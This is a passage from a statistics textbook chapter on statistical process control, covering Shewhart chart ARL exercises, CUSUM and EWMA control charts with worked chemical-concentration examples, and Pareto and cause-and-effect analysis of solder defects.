(b) What is the ARL after the shift?

15-52. Consider an $\overline{X}$ control chart with $\bar{r} = 0.344$, $UCL = 14.708$, $LCL = 14.312$, and $n = 5$. Suppose that the mean shifts to 14.6.
(a) What is the probability that this shift will be detected on the next sample?
(b) What is the ARL after the shift?

15-53. Consider an $\overline{X}$ control chart with $\bar{r} = 34.286$, $UCL = 242.780$, $LCL = 203.220$, and $n = 5$. Suppose that the mean shifts to 210.
(a) What is the probability that this shift will be detected on the next sample?
(b) What is the ARL after the shift?

Figure 15-18 Process mean shift of 2σ.

15-54. Consider an $\overline{X}$ control chart with $\hat{\sigma} = 1.40$, $UCL = 21.71$, $LCL = 18.29$, and $n = 6$. Suppose that the mean shifts to 17.

(a) What is the probability that this shift will be detected on the next sample?

(b) What is the ARL after the shift?

15-55. Consider an $\overline{X}$ control chart with $\hat{\sigma} = 2.466$, $UCL = 37.404$, $LCL = 30.780$, and $n = 5$. Suppose that the mean shifts to 36.

(a) What is the probability that this shift will be detected on the next sample?

(b) What is the ARL after the shift?

15-56. Consider an $\overline{X}$ control chart with $\bar{r} = 2.25$, $UCL = 17.40$, $LCL = 12.79$, and $n = 3$. Suppose that the mean shifts to 13.

(a) What is the probability that this shift will be detected on the next sample?

(b) What is the ARL after the shift?

15-57. Consider an $\overline{X}$ control chart with $\bar{r} = 0.000924$, $UCL = 0.0635$, $LCL = 0.0624$, and $n = 5$. Suppose that the mean shifts to 0.0625.

(a) What is the probability that this shift will be detected on the next sample?

(b) What is the ARL after the shift?

15-58. Consider the revised $\overline{X}$ control chart in Exercise 15-8 with $\hat{\sigma} = 0.669$, $UCL = 7.443$, $LCL = 5.125$, and $n = 3$. Suppose that the mean shifts to 5.5.

(a) What is the probability that this shift will be detected on the next sample?

(b) What is the ARL after the shift?

15-59. An $\overline{X}$ chart uses a subgroup of size three. The center line is at 200, and the upper and lower three-sigma control limits are at 212 and 188, respectively.

(a) Estimate the process σ.

(b) Suppose the process mean shifts to 195. Determine the probability that this shift will be detected on the next sample.

(c) Find the ARL to detect the shift in part (b).

15-60. Consider an $\overline{X}$ control chart with $UCL = 24.802$, $LCL = 23.792$, and $n = 3$. Suppose the mean shifts to 24.2.

(a) What is the probability that this shift will be detected on the next sample?

(b) What is the ARL to detect the shift?

15-8 TIME-WEIGHTED CHARTS

15-8.1 Cumulative Sum Control Chart

In Sections 15-3 and 15-4 we have presented basic types of **Shewhart control charts.** A major disadvantage of any Shewhart control chart is that the chart is relatively insensitive to small shifts in the process, say, on the order of about 1.5σ or less. One reason for this relatively poor performance in detecting small process shifts is that the Shewhart chart makes use of only the information in the last plotted point, and it ignores the information in the sequence of points. This problem can be addressed, to some extent by adding criteria such as the **Western Electric rules** to a Shewhart chart, but the use of these rules reduces the simplicity and ease of interpretation of the chart. These rules would also cause the in-control average run length of a Shewhart chart to drop below 370. This increase in the false alarm rate can have serious practical consequences.

A very effective alternative to the Shewhart control chart is the **cumulative sum control chart** (or **CUSUM**). This chart has much better performance (in terms of ARL) for detecting small shifts than the Shewhart chart, but it does not cause the in-control ARL to drop significantly. This section will illustrate the use of the CUSUM for sample averages and individual measurements.

The CUSUM chart plots the cumulative sums of the deviations of the sample values from a target value. For example, suppose that samples of size $n \geq 1$ are collected, and $\overline{X}_j$ is the average of the jth sample. Then if μ_0 is the target for the process mean, the cumulative sum control chart is formed by plotting the quantity

$$S_i = \sum_{j=1}^{i} (\overline{X}_j - \mu_0) \tag{15-29}$$

against the sample number i. Now, S_i is called the cumulative sum up to and including the ith sample. Because they combine information from *several* samples, cumulative sum charts are

more effective than Shewhart charts for detecting small process shifts. Furthermore, they are particularly effective with samples of $n = 1$. This makes the cumulative sum control chart a good candidate for use in the chemical and process industries where rational subgroups are frequently of size 1, as well as in discrete parts manufacturing with automatic measurement of each part and online control using a computer directly at the work center.

If the process remains in control at the target value μ_0, the cumulative sum defined in Equation 15-29 should fluctuate around zero. However, if the mean shifts upward to some value $\mu_1 > \mu_0$, say, an upward or positive drift develops in the cumulative sum S_i. Conversely, if the mean shifts downward to some $\mu_1 < \mu_0$, a downward or negative drift in S_i develops. Therefore, if a trend develops in the plotted points either upward or downward, we should consider this as evidence that the process mean has shifted, and a search for the assignable cause should be performed.

This theory can easily be demonstrated by applying the CUSUM to the chemical process concentration data in Table 15-3. Since the concentration readings are individual measurements, we would take $\overline{X}_j = X_j$ in computing the CUSUM. Suppose that the target value for the concentration is $\mu_0 = 99$. Then the CUSUM is

$$\begin{aligned} S_i &= \sum_{j=1}^{i} (X_j - 99) \\ &= (X_i - 99) + \sum_{j=1}^{i-1} (X_j - 99) \\ &= (X_i - 99) + S_{i-1} \end{aligned}$$

Table 15-7 shows the computation of this CUSUM, where the starting value of the CUSUM, S_0, is taken to be zero. Figure 15-19 plots the CUSUM from the last column of Table 15-7. Notice that the CUSUM fluctuates) around the value of 0.

Table 15-7 CUSUM Computations for the Chemical Process Concentration Data in Table 15-3

Observation, i	x_i	$x_i - 99$	$s_i = (x_i - 99) + s_{i-1}$
1	102.0	3.0	3.0
2	94.8	−4.2	−1.2
3	98.3	−0.7	−1.9
4	98.4	−0.6	−2.5
5	102.0	3.0	0.5
6	98.5	−0.5	0.0
7	99.0	0.0	0.0
8	97.7	−1.3	−1.3
9	100.0	1.0	−0.3
10	98.1	−0.9	−1.2
11	101.3	2.3	1.1
12	98.7	−0.3	0.8
13	101.1	2.1	2.9
14	98.4	−0.6	2.3
15	97.0	−2.0	0.3
16	96.7	−2.3	−2.0
17	100.3	1.3	−0.7
18	101.4	2.4	1.7
19	97.2	−1.8	−0.1
20	101.0	2.0	1.9

Figure 15-19 Plot of the cumulative sum for the concentration data, Table 15-7.

The graph in Fig. 15-19 is not a control chart because it lacks control limits. There are two general approaches to devising control limits for CUSUMs. The older of these two methods is the V-mask procedure. A typical V mask is shown in Fig. 15-20(a). It is a V-shaped notch in a plane that can be placed at different locations on the CUSUM chart. The decision procedure consists of placing the V mask on the cumulative sum control chart with the point O on the last value of s_i and the line OP parallel to the horizontal axis. If all the previous cumulative sums, $s_1, s_2, \ldots, s_{i-1}$, lie within the two arms of the V mask, the process is in control. The arms are the lines that make angles θ with segment OP in Figure 15-20(a) and they are assumed to extend infinitely in length. However, if any s_i lies outside the arms of the mask, the process is considered to be out of control. In actual use, the V mask would be

Figure 15-20 The cumulative sum control chart. (a) The V-mask and scaling. (b) The cumulative sum control chart in operation.

applied to each new point on the CUSUM chart as soon as it was plotted. In the example shown in Fig. 15-20(b), an upward shift in the mean is indicated, since at least one of the points that have occurred earlier than sample 22 now lies below the lower arm of the mask, when the V mask is centered on sample 30. If the point lies above the upper arm, a downward shift in the mean is indicated. Thus, the V mask forms a visual frame of reference similar to the control limits on an ordinary Shewhart control chart. For the technical details of designing the V mask, see Montgomery (2009).

While some computer programs plot CUSUMs with the V-mask control scheme, we feel that the other approach to CUSUM control, the **tabular CUSUM,** is superior. The tabular procedure is particularly attractive when the CUSUM is implemented on a computer.

Let $S_H(i)$ be an upper one-sided CUSUM for period i and $S_L(i)$ be a lower one-sided CUSUM for period i. These quantities are calculated from

CUSUM Control Chart

$$s_H(i) = \max[0, \bar{x}_i - (\mu_0 + K) + s_H(i-1)] \tag{15-30}$$

and

$$s_L(i) = \max[0, (\mu_0 - K) - \bar{x}_i + s_L(i-1)] \tag{15-31}$$

where the starting values $s_H(0) = s_L(0) = 0$.

In Equations 15-30 and 15-31 K is called the **reference value,** which is usually chosen about halfway between the target μ_0 and the value of the mean corresponding to the out-of-control state, $\mu_1 = \mu_0 + \Delta$. That is, K is about one-half the magnitude of the shift we are interested in, or

$$K = \frac{\Delta}{2}$$

Notice that $S_H(i)$ and $S_L(i)$ accumulate deviations from the target value that are greater than K, with both quantities reset to zero upon becoming negative. If either $S_H(i)$ or $S_L(i)$ exceeds a constant H, the process is out of control. This constant H is usually called the **decision interval.**

EXAMPLE 15-6 Chemical Process Concentration CUSUM

A Tabular CUSUM

We will illustrate the tabular CUSUM by applying it to the chemical process concentration data in Table 15-7. The process target is $\mu_0 = 99$, and we will use $K = 1$ as the reference value and $H = 10$ as the decision interval. The reasons for these choices will be explained later.

Table 15-8 shows the tabular CUSUM scheme for the chemical process concentration data. To illustrate the calculations, note that

$$\begin{aligned} s_H(i) &= \max[0, x_i - (\mu_0 + K) + s_H(i-1)] \\ &= \max[0, x_i - (99 + 1) + s_H(i-1)] \\ &= \max[0, x_i - 100 + s_H(i-1)] \end{aligned}$$

$$\begin{aligned} s_L(i) &= \max[0, (\mu_0 - K) - x_i + s_L(i-1)] \\ &= \max[0, (99 - 1) - x_i + s_L(i-1)] \\ &= \max[0, 98 - x_i + s_L(i-1)] \end{aligned}$$

Therefore, for observation 1 the CUSUMs are

$$\begin{aligned} s_H(1) &= \max[0, x_1 - 100 + s_H(0)] \\ &= \max[0, 102.0 - 100 + 0] = 2.0 \end{aligned}$$

and

$$\begin{aligned} s_L(1) &= \max[0, 98 - x_1 + s_L(0)] \\ &= \max[0, 98 - 102.0 + 0] = 0 \end{aligned}$$

Table 15-8 The Tabular CUSUM for the Chemical Process Concentration Data

Observation	Upper CUSUM				Lower CUSUM		
i	x_i	$x_i - 100$	$s_H(i)$	n_H	$98 - x_i$	$s_L(i)$	n_L
1	102.0	2.0	2.0	1	−4.0	0.0	0
2	94.8	−5.2	0.0	0	3.2	3.2	1
3	98.3	−1.7	0.0	0	−0.3	2.9	2
4	98.4	−1.6	0.0	0	−0.4	2.5	3
5	102.0	2.0	2.0	1	−4.0	0.0	0
6	98.5	−1.5	0.5	2	−0.5	0.0	0
7	99.0	−1.0	0.0	0	−1.0	0.0	0
8	97.7	−2.3	0.0	0	0.3	0.3	1
9	100.0	0.0	0.0	0	−2.0	0.0	0
10	98.1	−1.9	0.0	0	−0.1	0.0	0
11	101.3	1.3	1.3	1	−3.3	0.0	0
12	98.7	−1.3	0.0	0	−0.7	0.0	0
13	101.1	1.1	1.1	1	−3.1	0.0	0
14	98.4	−1.6	0.0	0	−0.4	0.0	0
15	97.0	−3.0	0.0	0	1.0	1.0	1
16	96.7	−3.3	0.0	0	1.3	2.3	2
17	100.3	0.3	0.3	1	−2.3	0.0	0
18	101.4	1.4	1.7	2	−3.4	0.0	0
19	97.2	−2.8	0.0	0	0.8	0.8	1
20	101.0	1.0	1.0	0	−3.0	0.0	0

as shown in Table 15-8. The quantities n_H and n_L in Table 15-8 indicate the number of periods that the CUSUM $s_H(i)$ or $s_L(i)$ have been nonzero. Notice that the CUSUMs in this example never exceed the decision interval $H = 10$. We would therefore conclude that the process is in control.

Next Steps: The limits for the CUSUM charts may be used to continue to operate the chart in order to monitor future productions.

When the tabular CUSUM indicates that the process is out of control, we should search for the assignable cause, take any corrective actions indicated, and restart the CUSUMs at zero. It may be helpful to have an estimate of the new process mean following the shift. This can be computed from

$$\hat{\mu} = \begin{cases} \mu_0 + K + \dfrac{s_H(i)}{n_H}, & \text{if } s_H(i) > H \\ \mu_0 - K - \dfrac{s_L(i)}{n_L}, & \text{if } s_L(i) > H \end{cases} \tag{15-32}$$

It is also useful to present a graphical display of the tabular CUSUMs, which are sometimes called CUSUM status charts. They are constructed by plotting $s_H(i)$ and $s_L(i)$ versus the sample number. Figure 15-21 shows the CUSUM status chart for the data in Example 15-6. Each vertical bar represents the value of $s_H(i)$ and $s_L(i)$ in period i. With the decision interval plotted on the chart, the CUSUM status chart resembles a Shewhart control chart. We have also plotted the sample statistics x_i for each period on the CUSUM status chart as the

Figure 15-21 The CUSUM status chart for Example 15-6.

solid dots. This frequently helps the user of the control chart to visualize the actual process performance that has led to a particular value of the CUSUM.

The tabular CUSUM is designed by choosing values for the reference value K and the decision interval H. We recommend that these parameters be selected to provide good average run-length values. There have been many analytical studies of CUSUM ARL performance. Based on these studies, we may give some general recommendations for selecting H and K. Define $H = h\sigma_{\overline{X}}$ and $K = k\sigma_{\overline{X}}$, where $\sigma_{\overline{X}}$ is the standard deviation of the sample variable used in forming the CUSUM (if $n = 1$, $\sigma_{\overline{X}} = \sigma_X$). Using $h = 4$ or $h = 5$ and $k = 1/2$ will generally provide a CUSUM that has good ARL properties against a shift of about $1\sigma_{\overline{X}}$ (or $1\sigma_X$) in the process mean. If much larger or smaller shifts are of interest, set $k = \delta/2$, where δ is the size of the shift in standard deviation units.

To illustrate how well the recommendations of $h = 4$ or $h = 5$ with $k = 1/2$ work, consider these average run lengths in Table 15-9. Notice that a shift of $1\sigma_{\overline{X}}$ would be detected in

Table 15-9 Average Run Lengths for a CUSUM Control Chart with $k = 1/2$

Shift in Mean (multiple of $\sigma_{\overline{X}}$)	$h = 4$	$h = 5$
0	168	465
0.25	74.2	139
0.50	26.6	38.0
0.75	13.3	17.0
1.00	8.38	10.4
1.50	4.75	5.75
2.00	3.34	4.01
2.50	2.62	3.11
3.00	2.19	2.57
4.00	1.71	2.01

either 8.38 samples (with $k = 1/2$ and $h = 4$) or 10.4 samples (with $k = 1/2$ and $h = 5$). By comparison, Table 15-6 shows that an $\overline{X}$ chart would require approximately 43.9 samples, on the average, to detect this shift.

These design rules were used for the CUSUM in Example 15-6. We assumed that the process standard deviation $\sigma = 2$. (This is a reasonable value; see Example 15-2.) Then with $k = 1/2$ and $h = 5$, we would use

$$K = k\sigma = ½(2) = 1 \qquad \text{and} \qquad H = h\sigma = 5(2) = 10$$

in the tabular CUSUM procedure.

Finally, we should note that supplemental procedures such as the Western Electric rules cannot be safely applied to the CUSUM, because successive values of $S_H(i)$ and $S_L(i)$ are not independent. In fact, the CUSUM can be thought of as a weighted average, where the weights are stochastic or random. In effect, all the CUSUM values are highly correlated, thereby causing the Western Electric rules to give too many false alarms.

15-8.2 Exponentially Weighted Moving Average Control Chart

Data collected in time order is often averaged over several time periods. For example, economic data is often presented as an average over the last four quarters. That is, at time t the average of the last four measurements can be written as

$$\bar{x}_t(4) = \frac{1}{4}x_t + \frac{1}{4}x_{t-1} + \frac{1}{4}x_{t-2} + \frac{1}{4}x_{t-3}$$

This average places weight of $1/4$ on each of the most recent observations, and zero weight on older observations. It is called a **moving average** and in this case a *window* of size 4 is used. An average of the recent data is used to smooth the noise in the data to generate a better estimate of the process mean than only the most recent observation. However, in a dynamic environment where the process mean may change, the number of observations used to construct the average is kept to a modest size so that the estimate can adjust to any change in the process mean. Therefore, the window size is a compromise between a better statistical estimate from an average and a response to a mean change. If a window of size 10 were used in a moving average, the statistic $\bar{x}_t(10)$ would have lower variability, but it would not adjust as well to a change in mean.

For statistical process control, rather than use a fixed window size it is useful to place the greatest weight on the most recent observation or subgroup average, and then gradually decrease the weight on older observations. One average of this type can be constructed by a multiplicative decrease in the weights. Let $\lambda \leq 1$ denote a constant and μ_0 denote the process target or historical mean. Suppose that samples of size $n \geq 1$ are collected and $\bar{x}_t$ is the average of the sample at time t. The **exponentially weighted moving average (EWMA)** is

$$\begin{aligned} z_t &= \lambda\bar{x}_t + \lambda(1-\lambda)\bar{x}_{t-1} + \lambda(1-\lambda)^2\bar{x}_{t-2} + \cdots + \lambda(1-\lambda)^{t-1}\bar{x}_1 + (1-\lambda)^t\mu_0 \\ &= \sum_{k=0}^{t}\lambda(1-\lambda)^k\bar{x}_{t-k} + (1-\lambda)^t\mu_0 \end{aligned}$$

Each older observation has its weight decreased by the factor $(1 - \lambda)$. The weight on the starting value μ_0 is selected so that the weights sum to one. Here z_t is also sometimes called a geometric average.

Figure 15-22
EWMAs with $\lambda = 0.8$ and $\lambda = 0.2$ show a compromise between a smooth curve and a response to a shift.

The value of λ determines the compromise between noise reduction and response to a mean change. For example, the series of weights when $\lambda = 0.8$ are

$$0.8, 0.16, 0.032, 0.0064, 0.00128, \ldots$$

and when $\lambda = 0.2$ the weights are

$$0.2, 0.16, 0.128, 0.1024, 0.0819, \ldots$$

When $\lambda = 0.8$ the weights decrease rapidly. Most of the weight is placed on the most recent observation, with modest contributions to the EWMA from older measurements. In this case, the EWMA does not average noise much, but it responds quickly to a mean change. However, when $\lambda = 0.2$ the weights decrease much more slowly and the EWMA has substantial contributions from the more recent observations. In this case, the EWMA averages noise more, but it responds more slowly to a change in the mean. Fig. 15-22 displays a series of observations with a mean shift in the middle on the series. Notice that the EWMA with $\lambda = 0.2$ smooths the data more, but that the EWMA with $\lambda = 0.8$ adjusts the estimate to the mean shift more quickly.

It appears that it is difficult to calculate an EWMA because at every time t a new weighted average of all previous data is required. However, there is an easy method to calculate an EWMA z_t based on a simple recursive equation. Let $z_0 = \mu_0$. Then it can be shown that

EWMA Update Equation

$$z_t = \lambda \bar{x}_t + (1 - \lambda) z_{t-1} \tag{15-33}$$

Consequently, only a brief computation is needed at each time t.

To develop a control chart from an EWMA, control limits are needed for Z_t. The control limits are defined in a straightforward manner. They are placed at three standard deviations around the mean of the plotted statistic Z_t. This follows the general approach for a control chart in Equation 15-1. An EWMA control chart may be applied to individual measurements as an extension to an X chart or to subgroup averages. Formulas here are developed for the more general case with an average from a subgroup of size n. For individual measurements $n = 1$.

Because Z_t is a linear function of the independent observations $X_1, X_2, \ldots, X_t$ (and μ_0), the results from Chapter 5 can be used to show that

$$E(Z_t) = \mu_0 \qquad \text{and} \qquad V(Z_t) = \frac{\sigma^2}{n}\frac{\lambda}{2-\lambda}\left[1-(1-\lambda)^{2t}\right]$$

where n is the subgroup size. Therefore an EWMA control chart uses estimates of μ_0 and σ in the following formulas:

EWMA Control Chart

$$\begin{aligned} LCL &= \mu_0 - 3\frac{\sigma}{\sqrt{n}}\sqrt{\frac{\lambda}{2-\lambda}\left[1-(1-\lambda)^{2t}\right]} \\ CL &= \mu_0 \\ UCL &= \mu_0 + 3\frac{\sigma}{\sqrt{n}}\sqrt{\frac{\lambda}{2-\lambda}\left[1-(1-\lambda)^{2t}\right]} \end{aligned} \tag{15-34}$$

Note that the control limits are not of equal width about the centerline. The control limits are calculated from the variance of Z_t and that changes with time. However, for large t the variance of Z_t converges to

$$\lim_{t\to\infty} V(Z_t) = \frac{\sigma^2}{n}\left(\frac{\lambda}{2-\lambda}\right)$$

so that the control limits tend to be parallel lines about the centerline as t increases.

The parameters μ_0 and σ are estimated by the same statistics used in $\overline{X}$ or X charts. That is, for subgroups

$$\hat{\mu}_0 = \overline{\overline{X}} \qquad \text{and} \qquad \hat{\sigma} = \overline{R}/d_2 \qquad \text{or} \qquad \hat{\sigma} = \overline{S}/c_4$$

and for $n = 1$

$$\hat{\mu}_0 = \overline{X} \qquad \text{and} \qquad \hat{\sigma} = \overline{MR}/1.128$$

EXAMPLE 15-7 Chemical Process Concentration EWMA

Consider the concentration data shown in Table 15-3. Construct an EWMA control chart with $\lambda = 0.2$ with $n = 1$. It was determined that $\bar{x} = 99.1$ and $\overline{mr} = 2.59$. Therefore, $\hat{\mu}_0 = 99.1$ and $\hat{\sigma} = 2.59/1.128 = 2.30$. The control limits for z_1 are

$$LCL = 99.1 - 3(2.30)\sqrt{\frac{0.2}{2-0.2}\left[1-(1-0.2)^2\right]} = 98.19$$

$$LCL = 99.1 + 3(2.30)\sqrt{\frac{0.2}{2-0.2}\left[1-(1-0.2)^2\right]} = 100.01$$

The first few values of z_t along with the corresponding control limits are

t	1	2	3	4	5
x_t	102.0	94.8	98.3	98.4	102.0
z_t	99.68	98.70	98.62	98.58	99.26
LCL	97.72	97.33	97.12	97.00	96.93
UCL	100.48	100.87	101.08	101.20	101.27

The chart generated by Minitab is shown in Figure 15-23. Notice that the control limits widen as time increases but quickly stabilize. Each point is within its set of corresponding control limits so there are no signals from the chart.

Figure 15-23 EWMA control chart for the chemical process concentration data from Minitab.

Similar to a CUSUM chart, the points plotted on an EWMA control chart are not independent. Therefore, run rules should not be applied to an EWMA control chart. Information in the history of the data that is considered by run rules is to a large extent incorporated into the EWMA that is calculated at each time t.

The value of λ is usually chosen from the range $0.1 < \lambda < 0.5$. A common choice is $\lambda = 0.2$. Smaller values for λ provide more sensitivity for small shifts and larger values better tune the chart for larger shifts. This performance can be seen in the average run lengths in Table 15-10. These calculations are more difficult than those used for Shewhart charts, and details are omitted. Here, $\lambda = 0.1$ and 0.5 are compared. The multiplier of the standard deviation, denoted L in the table, is adjusted so that the average run length (ARL) equals 500 for both choices for λ. That is, the control limits are placed at $E(Z_t) \pm L\sqrt{V(Z_t)}$ and L is chosen so the ARL without a mean shift is 500 in both cases.

The EWMA ARLs in the table indicate that the smaller value for λ is preferred when the magnitude of the shift is small. Also, the EWMA performance is in general much better than results for a Shewhart control chart (in Table 15-6) and the results are comparable to a CUSUM control chart (in Table 15-9). However, these are average results. At the time of an increase in the process mean, z_t might be negative and there would be some performance penalty to first increase z_t to near zero and then further increase it to a signal above the *UCL*. Such a penalty provides an advantage to CUSUM control charts that is not accounted for in these ARL tables. A more refined analysis can be used to quantify this penalty, but the conclusion is that the EWMA penalty is moderate to small in most applications.

Table 15-10 Average Run Lengths for an EWMA Control Chart

Shift in Mean (multiple of $\sigma_{\bar{X}}$)	$\lambda = 0.5$ $L = 3.07$	$\lambda = 0.1$ $L = 2.81$
0	500	500
0.25	255	106
0.5	88.8	31.3
0.75	35.9	15.9
1	17.5	10.3
1.5	6.53	6.09
2	3.63	4.36
3	1.93	2.87

EXERCISES FOR SECTION 15-8

15-61. The following data were considered in *Quality Engineering* ["Parabolic Control Limits for The Exponentially Weighted Moving Average Control Charts in Quality Engineering" (1992, Vol. 4(4))]. In a chemical plant, the data for one of the quality characteristics (viscosity) were obtained for each 12-hour batch at the completion of the batch. The results of 15 consecutive measurements are shown in the table below.

Batch	Viscosity	Batch	Viscosity
1	13.3	11	14.3
2	14.5	12	16.1
3	15.3	13	13.1
4	15.3	14	15.5
5	14.3	15	12.6
6	14.8		
7	15.2		
8	14.9		
9	14.6		
10	14.1		

(a) Set up a CUSUM control chart for this process. Assume the desired process target 14.1. Does the process appear to be in control?

(b) Suppose that the next five observations are 14.6, 15.3, 15.7, 16.1, and 16.8. Apply the CUSUM in part (a) to these new observations. Is there any evidence that the process has shifted out of control?

15-62. The purity of a chemical product is measured every two hours. The results of 20 consecutive measurements are as follows:

Sample	Purity	Sample	Purity
1	89.11	11	88.55
2	90.59	12	90.43
3	91.03	13	91.04
4	89.46	14	88.17
5	89.78	15	91.23
6	90.05	16	90.92
7	90.63	17	88.86
8	90.75	18	90.87
9	89.65	19	90.73
10	90.15	20	89.78

(a) Set up a CUSUM control chart for this process. Use $\sigma = 0.8$ in setting up the procedure, and assume that the desired process target is 90. Does the process appear to be in control?

(b) Suppose that the next five observations are 90.75, 90.00, 91.15, 90.95, and 90.86. Apply the CUSUM in part (a) to these new observations. Is there any evidence that the process has shifted out of control?

15-63. The diameter of holes is measured in consecutive order by an automatic sensor. The results of measuring 25 holes follow.

Sample	Diameter	Sample	Diameter
1	9.94	14	9.99
2	9.93	15	10.12
3	10.09	16	9.81
4	9.98	17	9.73
5	10.11	18	10.14
6	9.99	19	9.96
7	10.11	20	10.06
8	9.84	21	10.11
9	9.82	22	9.95
10	10.38	23	9.92
11	9.99	24	10.09
12	10.41	25	9.85
13	10.36		

(a) Estimate the process standard deviation.

(b) Set up a CUSUM control procedure, assuming that the target diameter is 10.0 millimeters. Does the process appear to be operating in a state of statistical control at the desired target level?

15-64. The concentration of a chemical product is measured by taking four samples from each batch of material. The average concentration of these measurements is shown for the last 20 batches in the following table:

Batch	Concentration	Batch	Concentration
1	104.5	11	95.4
2	99.9	12	94.5
3	106.7	13	104.5
4	105.2	14	99.7
5	94.8	15	97.7
6	94.6	16	97.0
7	104.4	17	95.8
8	99.4	18	97.4
9	100.3	19	99.0
10	100.3	20	102.6

(a) Suppose that the process standard deviation is $\sigma = 8$ and that the target value of concentration for this process is 100. Design a CUSUM scheme for the process. Does the process appear to be in control at the target?

(b) How many batches would you expect to be produced with off-target concentration before it would be detected by the CUSUM control chart if the concentration shifted to 104? Use Table 15-9.

15-65. Consider a CUSUM with $h = 5$ and $k = 1/2$. Samples are taken every two hours from the process. The target value for the process is $\mu_0 = 50$ and $\sigma = 2$. Use Table 15-9.

(a) If the sample size is $n = 1$, how many samples would be required to detect a shift in the process mean to $\mu = 51$ on average?
(b) If the sample size is increased to $n = 4$, how does this affect the average run length to detect the shift to $\mu = 51$ that you determined in part (a)?

15-66. Consider the purity data in Exercise 15-62. Use $\sigma = 0.8$ and assume that the desired process target is 90.
(a) Construct an EWMA control chart with $\lambda = 0.2$. Does the process appear to be in control?
(b) Construct an EWMA control chart with $\lambda = 0.5$. Compare your results to part (a).
(c) Suppose that the next five observations are 90.75, 90.00, 91.15, 90.95, and 90.86. Apply the EWMAs in part (a) and (b) to these new observations. Is there any evidence that the process has shifted out of control?

15-67. Consider the diameter data in Exercise 15-63. Assume that the desired process target is 10.0 millimeters.
(a) Estimate the process standard deviation.
(b) Construct an EWMA control chart with $\lambda = 0.2$. Does the process appear to be in control?
(c) Construct an EWMA control chart with $\lambda = 0.5$. Compare your results to part (a).

15-68. Consider the concentration data in Exercise 15-64. Use $\sigma = 8$ and assume that the desired process target is 100.
(a) Construct an EWMA control chart with $\lambda = 0.2$. Does the process appear to be in control?
(b) Construct an EWMA control chart with $\lambda = 0.5$. Compare your results to part (a).
(c) If the concentration shifted to 104, would you prefer the chart in part (a) or (b)? Explain.

15-69. Consider an EMWA control chart. The target value for the process is $\mu_0 = 50$ and $\sigma = 2$. Use Table 15-10.
(a) If the sample size is $n = 1$, would you prefer an EWMA chart with $\lambda = 0.1$ and $L = 2.81$ or $\lambda = 0.5$ and $L = 3.07$ to detect a shift in the process mean to $\mu = 52$ on average? Why?
(b) If the sample size is increased to $n = 4$, which chart in part (a) do you prefer? Why?
(c) If an EWMA chart with $\lambda = 0.1$ and $L = 2.81$ is used, what sample size is needed to detect a shift to $\mu = 52$ in approximately 3 samples on average?

15-70. A process has a target of $\mu_0 = 100$ and a standard deviation of $\sigma = 4$. Samples of size $n = 1$ are taken every two hours. Use Table 15-9.
(a) Suppose the process mean shifts to $\mu = 102$. How many hours of production will occur before the process shift is detected by a CUSUM with $h = 5$ and $k = 1/2$?
(b) It is important to detect the shift defined in part (a) more quickly. A proposal is made to reduce the sampling frequency to 0.5 hour. How will this affect the CUSUM control procedure? How much more quickly will the shift be detected?
(c) Suppose that the 0.5 hour sampling interval in part (b) is adopted. How often will false alarms occur with this new sampling interval? How often did they occur with the old interval of two hours?
(d) A proposal is made to increase the sample size to $n = 4$ and retain the two-hour sampling interval. How does this suggestion compare in terms of average detection time to the suggestion of decreasing the sampling interval to 0.5 hour?

15-71. Heart rate (in counts/minute) is measured every 30 minutes. The results of 20 consecutive measurements are as follows:

Sample	Heart Rate	Sample	Heart Rate
1	68	11	79
2	71	12	79
3	67	13	78
4	69	14	78
5	71	15	78
6	70	16	79
7	69	17	79
8	67	18	82
9	70	19	82
10	70	20	81

Suppose that the standard deviation of the heart rate is $\sigma = 3$ and the target value is 70.
(a) Design a CUSUM scheme for the heart rate process. Does the process appear to be in control at the target?
(b) How many samples on average would be required to detect a shift of the mean heart rate to 80?

15-72. The number of influenza patients (in thousands) visiting hospitals weekly are shown in the following table. Suppose that the standard deviation is $\sigma = 2$ and the target value is 160.

Sample	Number of Patients	Sample	Number of Patients
1	162.27	13	159.989
2	157.47	14	159.09
3	157.065	15	162.699
4	160.45	16	163.89
5	157.993	17	164.247
6	162.27	18	162.70
7	160.652	19	164.859
8	159.09	20	163.65
9	157.442	21	165.99
10	160.78	22	163.22
11	159.138	23	164.338
12	161.08	24	164.83

(a) Design a CUSUM scheme for the process. Does the process appear to be in control at the target?
(b) How many samples on average would be required to detect a shift of the mean to 165?

15-9 OTHER SPC PROBLEM-SOLVING TOOLS

While the control chart is a very powerful tool for investigating the causes of variation in a process, it is most effective when used with other SPC problem-solving tools. In this section we illustrate some of these tools, using the printed circuit board defect data in Example 15-5.

Figure 15-17 shows a U chart for the number of defects in samples of five printed circuit boards. The chart exhibits statistical control, but the number of defects must be reduced. The average number of defects per board is $8/5 = 1.6$, and this level of defects would require extensive rework.

The first step in solving this problem is to construct a **Pareto diagram** of the individual defect types. The Pareto diagram, shown in Fig. 15-24, indicates that insufficient solder and solder balls are the most frequently occurring defects, accounting for $(109/160)\ 100 = 68\%$ of the observed defects. Furthermore, the first five defect categories on the Pareto chart are all solder-related defects. This points to the flow solder process as a potential opportunity for improvement.

To improve the surface mount process, a team consisting of the operator, the shop supervisor, the manufacturing engineer responsible for the process, and a quality engineer meets to study potential causes of solder defects. They conduct a brainstorming session and produce the cause-and-effect diagram shown in Fig. 15-25. The cause-and-effect diagram is widely used to display the various potential causes of defects in products and their interrelationships. They are useful in summarizing knowledge about the process.

As a result of the brainstorming session, the team tentatively identifies the following variables as potentially influential in creating solder defects:

1. Flux specific gravity
2. Reflow temperature
3. Squeegee speed

Figure 15-24 Pareto diagram for printed circuit board defects.

Figure 15-25 Cause-and-effect diagram for the printed circuit board flow solder process.

4. Squeegee angle
5. Paste height
6. Reflow temperature
7. Board loading method

A statistically **designed experiment** could be used to investigate the effect of these seven variables on solder defects.

In addition, the team constructed a **defect concentration diagram** for the product. A defect concentration diagram is just a sketch or drawing of the product, with the most frequently occurring defects shown on the part. This diagram is used to determine whether defects occur in the same location on the part. The defect concentration diagram for the printed circuit board is shown in Fig. 15-26. This diagram indicates that most of the insufficient solder defects are near the front edge of the board. Further investigation showed that one of the pallets used to carry the boards was bent, causing the front edge of the board to make poor contact with the squeegee.

When the defective pallet was replaced, a designed experiment was used to investigate the seven variables discussed earlier. The results of this experiment indicated that several of these factors were influential and could be adjusted to reduce solder defects. After the results of the experiment were implemented, the percentage of solder joints requiring rework was reduced from 1% to under 100 parts per million (0.01%).

Figure 15-26 Defect concentration diagram for a printed circuit board.

15-10 IMPLEMENTING SPC

